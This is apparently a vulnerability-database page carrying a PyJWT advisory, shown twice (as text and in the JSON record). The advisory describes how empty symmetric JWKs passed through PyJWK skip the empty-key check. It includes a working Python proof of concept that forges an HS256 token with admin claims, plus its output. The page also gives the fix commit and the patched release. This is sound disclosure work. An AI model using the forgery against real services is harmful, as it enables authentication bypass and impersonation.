BREW-GPTME-CVE-2026-102266 (GHSA-9J54-FG26-WV3R)
Vulnerability from osv_homebrew – Published: 2026-09-30 09:13 – Updated: 2026-09-30 09:13 – Source websiteSummary
A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.
PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.
An oct JWK containing an empty Base64URL key value:
{"kty":"oct","k":""}
is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.prepare_key. With the default enforce_minimum_key_length=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.
An attacker can independently calculate HMAC-SHA256(b"", signing_input) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.
The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.
Details
The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.
Raw empty HMAC keys are rejected
[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.
As a result, an empty raw key is rejected in PyJWT 2.13.0:
jwt.decode(token, b"", algorithms=["HS256"])
with InvalidKeyError.
Empty oct JWKs decode to the same key but are accepted
[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.
For:
{
"kty": "oct",
"k": ""
}
the empty Base64URL value is decoded to:
b""
and returned without an emptiness check.
[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in self.key.
The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.
PyJWK verification bypasses the raw-key validation
[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for PyJWK objects.
When a PyJWK is supplied, verification uses its already-decoded key directly:
prepared_key = key.key
The value is not passed through:
alg_obj.prepare_key(key.key)
so the empty-key check in HMACAlgorithm.prepare_key is never reached.
The minimum HMAC key-length check does not reject the key under the default configuration. With enforce_minimum_key_length=False, PyJWT emits a warning and continues signature verification.
The verifier therefore receives:
b""
as the HS256 key.
This creates the following difference for identical cryptographic key material:
raw b""
-> HMACAlgorithm.prepare_key
-> InvalidKeyError
{"kty":"oct","k":""}
-> HMACAlgorithm.from_jwk
-> b""
-> PyJWK.key
-> PyJWS._verify_signature
-> HMAC verification with b""
-> accepted
Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.
This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.
The issue was reproduced against PyJWT 2.13.0 and commit:
7144e4534c34810f4525dc4578a32addd8212cff
which was the tip of the public master branch at the time of testing.
PoC
The following PoC reproduces the issue on PyJWT 2.13.0.
It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.
Install PyJWT 2.13.0:
python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"
Save the following as poc.py:
import base64
import hashlib
import hmac
import json
import time
import warnings
import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError
def b64u(value: bytes) -> bytes:
return base64.urlsafe_b64encode(value).rstrip(b"=")
now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
json.dumps(
{"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
separators=(",", ":"),
).encode()
)
signing_input = header + b"." + payload
forged = (
signing_input
+ b"."
+ b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()
jwk = PyJWKSet.from_dict(
{
"keys": [
{
"kty": "oct",
"k": "",
"kid": "active",
"alg": "HS256",
"use": "sig",
}
]
}
)["active"]
with warnings.catch_warnings():
warnings.simplefilter("ignore")
claims = jwt.decode(
forged,
jwk,
algorithms=["HS256"],
options={"require": ["exp"]},
)
assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)
try:
jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
print("CONTROL raw empty key: rejected")
else:
raise AssertionError("raw empty key was accepted")
try:
jwt.decode(
forged,
jwk,
algorithms=["HS256"],
options={"enforce_minimum_key_length": True},
)
except InvalidKeyError:
print("CONTROL strict PyJWK: rejected")
else:
raise AssertionError("strict PyJWK was accepted")
real_key = PyJWKSet.from_dict(
{
"keys": [
{
"kty": "oct",
"k": "cmVhbC1zZWNyZXQ",
"kid": "active",
"alg": "HS256",
}
]
}
)["active"]
try:
with warnings.catch_warnings():
warnings.simplefilter("ignore")
jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
print("CONTROL non-empty PyJWK: rejected")
else:
raise AssertionError("non-empty PyJWK accepted an empty-key forgery")
Run:
python poc.py
Observed output:
VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected
The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.
The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.
The second control enables enforce_minimum_key_length, which also rejects the empty PyJWK.
The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.
I also reproduced the result through the following verification paths:
jwt.decode(token, PyJWK, algorithms=["HS256"])
jwt.decode(token, PyJWK)
jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"])
PyJWS().decode(token, PyJWK, algorithms=["HS256"])
All accepted an HS256 token whose signature was generated using the zero-length HMAC key.
As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.prepare_key with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached prepare_key and rejected the empty key.
Impact
This is an authentication bypass caused by inconsistent validation of empty HMAC keys.
Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.
For example, an application could and produces:
{
"kty": "oct",
"k": "",
"kid": "active",
"alg": "HS256"
}
when the expected Base64URL secret value is missing.
Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.
The attacker can choose arbitrary claims such as:
{
"sub": "attacker",
"admin": true,
"exp": 1787100000
}
and produce a signature that PyJWT accepts as valid.
Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.
Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.
The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Maintainer update — 2026-09-09
We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.prepare_key(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.
This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.
The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's prepare_key() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.
The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.
The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.
Classification update — 2026-09-10
We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "pyjwt",
"resource_purl": "pkg:pypi/pyjwt@2.14.0",
"upstream_fixed_in": "2.14.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "gptme",
"purl": "pkg:brew/gptme"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.0_11"
},
{
"fixed": "0.34.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pyjwt@2.14.0",
"name": "pyjwt",
"resource": "pyjwt",
"strategy": "registry",
"subject_version": "2.14.0"
}
]
},
"details": "### Summary\n\nA service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.\n\nPyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`.\n\nAn `oct` JWK containing an empty Base64URL key value:\n\n```json\n{\"kty\":\"oct\",\"k\":\"\"}\n```\n\nis decoded to `b\"\"`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.\n\nAn attacker can independently calculate `HMAC-SHA256(b\"\", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated.\n\nThe application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `\"k\": \"\"`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.\n\n### Details\n\nThe vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`.\n\n#### Raw empty HMAC keys are rejected\n\n[`[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.\n\nAs a result, an empty raw key is rejected in PyJWT 2.13.0:\n\n```python\njwt.decode(token, b\"\", algorithms=[\"HS256\"])\n```\n\nwith `InvalidKeyError`.\n\n#### Empty `oct` JWKs decode to the same key but are accepted\n\n[`[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.\n\nFor:\n\n```json\n{\n \"kty\": \"oct\",\n \"k\": \"\"\n}\n```\n\nthe empty Base64URL value is decoded to:\n\n```python\nb\"\"\n```\n\nand returned without an emptiness check.\n\n[`[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`.\n\nThe resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path.\n\n#### `PyJWK` verification bypasses the raw-key validation\n\n[`[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects.\n\nWhen a `PyJWK` is supplied, verification uses its already-decoded key directly:\n\n```python\nprepared_key = key.key\n```\n\nThe value is not passed through:\n\n```python\nalg_obj.prepare_key(key.key)\n```\n\nso the empty-key check in `HMACAlgorithm.prepare_key` is never reached.\n\nThe minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification.\n\nThe verifier therefore receives:\n\n```python\nb\"\"\n```\n\nas the HS256 key.\n\nThis creates the following difference for identical cryptographic key material:\n\n```text\nraw b\"\"\n -\u003e HMACAlgorithm.prepare_key\n -\u003e InvalidKeyError\n\n{\"kty\":\"oct\",\"k\":\"\"}\n -\u003e HMACAlgorithm.from_jwk\n -\u003e b\"\"\n -\u003e PyJWK.key\n -\u003e PyJWS._verify_signature\n -\u003e HMAC verification with b\"\"\n -\u003e accepted\n```\n\nBecause the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.\n\nThis is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.\n\nThe issue was reproduced against PyJWT 2.13.0 and commit:\n\n```text\n7144e4534c34810f4525dc4578a32addd8212cff\n```\n\nwhich was the tip of the public `master` branch at the time of testing.\n\n### PoC\n\nThe following PoC reproduces the issue on PyJWT 2.13.0.\n\nIt models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.\n\nInstall PyJWT 2.13.0:\n\n```bash\npython -m venv venv\nsource venv/bin/activate\npip install \"PyJWT==2.13.0\"\n```\n\nSave the following as `poc.py`:\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport time\nimport warnings\n\nimport jwt\nfrom jwt import PyJWKSet\nfrom jwt.exceptions import InvalidKeyError, InvalidSignatureError\n\n\ndef b64u(value: bytes) -\u003e bytes:\n return base64.urlsafe_b64encode(value).rstrip(b\"=\")\n\n\nnow = int(time.time())\nheader = b64u(json.dumps({\"alg\": \"HS256\", \"kid\": \"active\"}, separators=(\",\", \":\")).encode())\npayload = b64u(\n json.dumps(\n {\"sub\": \"attacker\", \"admin\": True, \"iat\": now, \"exp\": now + 300},\n separators=(\",\", \":\"),\n ).encode()\n)\nsigning_input = header + b\".\" + payload\nforged = (\n signing_input\n + b\".\"\n + b64u(hmac.new(b\"\", signing_input, hashlib.sha256).digest())\n).decode()\n\njwk = PyJWKSet.from_dict(\n {\n \"keys\": [\n {\n \"kty\": \"oct\",\n \"k\": \"\",\n \"kid\": \"active\",\n \"alg\": \"HS256\",\n \"use\": \"sig\",\n }\n ]\n }\n)[\"active\"]\n\nwith warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n claims = jwt.decode(\n forged,\n jwk,\n algorithms=[\"HS256\"],\n options={\"require\": [\"exp\"]},\n )\n\nassert claims[\"sub\"] == \"attacker\"\nassert claims[\"admin\"] is True\nprint(\"VULNERABLE:\", claims)\n\ntry:\n jwt.decode(forged, b\"\", algorithms=[\"HS256\"])\nexcept InvalidKeyError:\n print(\"CONTROL raw empty key: rejected\")\nelse:\n raise AssertionError(\"raw empty key was accepted\")\n\ntry:\n jwt.decode(\n forged,\n jwk,\n algorithms=[\"HS256\"],\n options={\"enforce_minimum_key_length\": True},\n )\nexcept InvalidKeyError:\n print(\"CONTROL strict PyJWK: rejected\")\nelse:\n raise AssertionError(\"strict PyJWK was accepted\")\n\nreal_key = PyJWKSet.from_dict(\n {\n \"keys\": [\n {\n \"kty\": \"oct\",\n \"k\": \"cmVhbC1zZWNyZXQ\",\n \"kid\": \"active\",\n \"alg\": \"HS256\",\n }\n ]\n }\n)[\"active\"]\n\ntry:\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n jwt.decode(forged, real_key, algorithms=[\"HS256\"])\nexcept InvalidSignatureError:\n print(\"CONTROL non-empty PyJWK: rejected\")\nelse:\n raise AssertionError(\"non-empty PyJWK accepted an empty-key forgery\")\n```\n\nRun:\n\n```bash\npython poc.py\n```\n\nObserved output:\n\n```text\nVULNERABLE: {\u0027sub\u0027: \u0027attacker\u0027, \u0027admin\u0027: True, \u0027iat\u0027: \u003cnow\u003e, \u0027exp\u0027: \u003cnow+300\u003e}\nCONTROL raw empty key: rejected\nCONTROL strict PyJWK: rejected\nCONTROL non-empty PyJWK: rejected\n```\n\nThe first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`.\n\nThe first control supplies the same key material directly as `b\"\"`. PyJWT 2.13.0 rejects it with `InvalidKeyError`.\n\nThe second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`.\n\nThe third control changes only the JWK key material to a non-empty value. The same forged token then fails with `InvalidSignatureError`.\n\nI also reproduced the result through the following verification paths:\n\n```python\njwt.decode(token, PyJWK, algorithms=[\"HS256\"])\njwt.decode(token, PyJWK)\njwt.PyJWT().decode(token, PyJWK, algorithms=[\"HS256\"])\nPyJWS().decode(token, PyJWK, algorithms=[\"HS256\"])\n```\n\nAll accepted an HS256 token whose signature was generated using the zero-length HMAC key.\n\nAs an execution-path check, after constructing the `PyJWK`, I replaced `HMACAlgorithm.prepare_key` with a function that immediately raises. Verification using the `PyJWK` still accepted the forged token, while the raw-key path reached `prepare_key` and rejected the empty key.\n\n### Impact\n\nThis is an authentication bypass caused by inconsistent validation of empty HMAC keys.\n\nAffected applications are services that verify HS256 JWTs using `PyJWK`, `PyJWKSet`, or another path that produces a `PyJWK`, where the configured `oct` JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.\n\nFor example, an application could and produces:\n\n```json\n{\n \"kty\": \"oct\",\n \"k\": \"\",\n \"kid\": \"active\",\n \"alg\": \"HS256\"\n}\n```\n\nwhen the expected Base64URL secret value is missing.\n\nOnce this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is `b\"\"` and can therefore calculate a valid HMAC for any signing input.\n\nThe attacker can choose arbitrary claims such as:\n\n```json\n{\n \"sub\": \"attacker\",\n \"admin\": true,\n \"exp\": 1787100000\n}\n```\n\nand produce a signature that PyJWT accepts as valid.\n\nDepending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.\n\nValidation of claims such as `exp`, `aud`, `iss`, or `sub` does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.\n\nThe attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N\n\n## Maintainer update \u2014 2026-09-09\n\nWe reproduced the reported discrepancy on PyJWT 2.13.0: an empty `oct` JWK supplied through `PyJWK` reached HS256 verification as `b\"\"`, while the equivalent raw empty key was rejected by `HMACAlgorithm.prepare_key()`. The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.\n\nThis is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT\u0027s public verification paths.\n\nThe fix is committed as `f91ed44dd65baaf457f4b3353ed35e98a753934c`. PyJWK verification now routes the decoded key through the selected algorithm\u0027s `prepare_key()` validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through `PyJWK`; existing JWS behavior remains covered.\n\nThe full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.\n\nThe fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.\n\n## Classification update \u2014 2026-09-10\n\nWe completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.",
"id": "BREW-gptme-CVE-2026-102266",
"modified": "2026-09-30T09:13:04Z",
"published": "2026-09-30T09:13:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102266"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT\u0027s empty-key validation",
"upstream": [
"GHSA-9j54-fg26-wv3r",
"CVE-2026-102266"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.